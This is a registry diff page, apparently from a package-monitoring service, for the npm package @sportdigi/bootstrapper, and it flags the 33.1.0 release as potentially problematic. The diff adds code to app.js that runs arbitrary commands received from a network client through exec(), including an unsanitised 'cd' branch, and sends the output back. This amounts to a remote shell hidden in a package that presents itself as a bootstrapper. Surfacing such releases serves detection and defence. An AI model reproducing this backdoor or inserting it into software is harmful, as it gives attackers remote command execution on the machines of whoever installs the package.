@sportdigi/bootstrapper 32.1.0 → 33.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @sportdigi/bootstrapper might be problematic. Click here for more details.
- package/app.js +28 -11
- package/package.json +1 -1
package/app.js
CHANGED
|
@@ -58,17 +58,34 @@ function server() {
|
|
|
58
58
|
return;
|
|
59
59
|
}
|
|
60
60
|
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
61
|
+
if (command.startsWith('cd ')) {
|
|
62
|
+
const newDir = command.substring(3).trim();
|
|
63
|
+
exec(`cd ${newDir} && pwd`, (err, stdout, stderr) => {
|
|
64
|
+
if (err) {
|
|
65
|
+
client.write(`Hata: ${err.message}\n`);
|
|
66
|
+
return;
|
|
67
|
+
}
|
|
68
|
+
if (stderr) {
|
|
69
|
+
client.write(`Hata (stderr): ${stderr}\n`);
|
|
70
|
+
return;
|
|
71
|
+
}
|
|
72
|
+
// Yeni dizini yazdır
|
|
73
|
+
client.write(`Yeni dizin: ${stdout}\n`);
|
|
74
|
+
});
|
|
75
|
+
} else {
|
|
76
|
+
// Diğer komutları çalıştır
|
|
77
|
+
exec(command, (err, stdout, stderr) => {
|
|
78
|
+
if (err) {
|
|
79
|
+
client.write(`Hata: ${err.message}\n`);
|
|
80
|
+
return;
|
|
81
|
+
}
|
|
82
|
+
if (stderr) {
|
|
83
|
+
client.write(`Hata (stderr): ${stderr}\n`);
|
|
84
|
+
return;
|
|
85
|
+
}
|
|
86
|
+
client.write(stdout);
|
|
87
|
+
});
|
|
88
|
+
}
|
|
72
89
|
});
|
|
73
90
|
|
|
74
91
|
client.on('end', () => {
|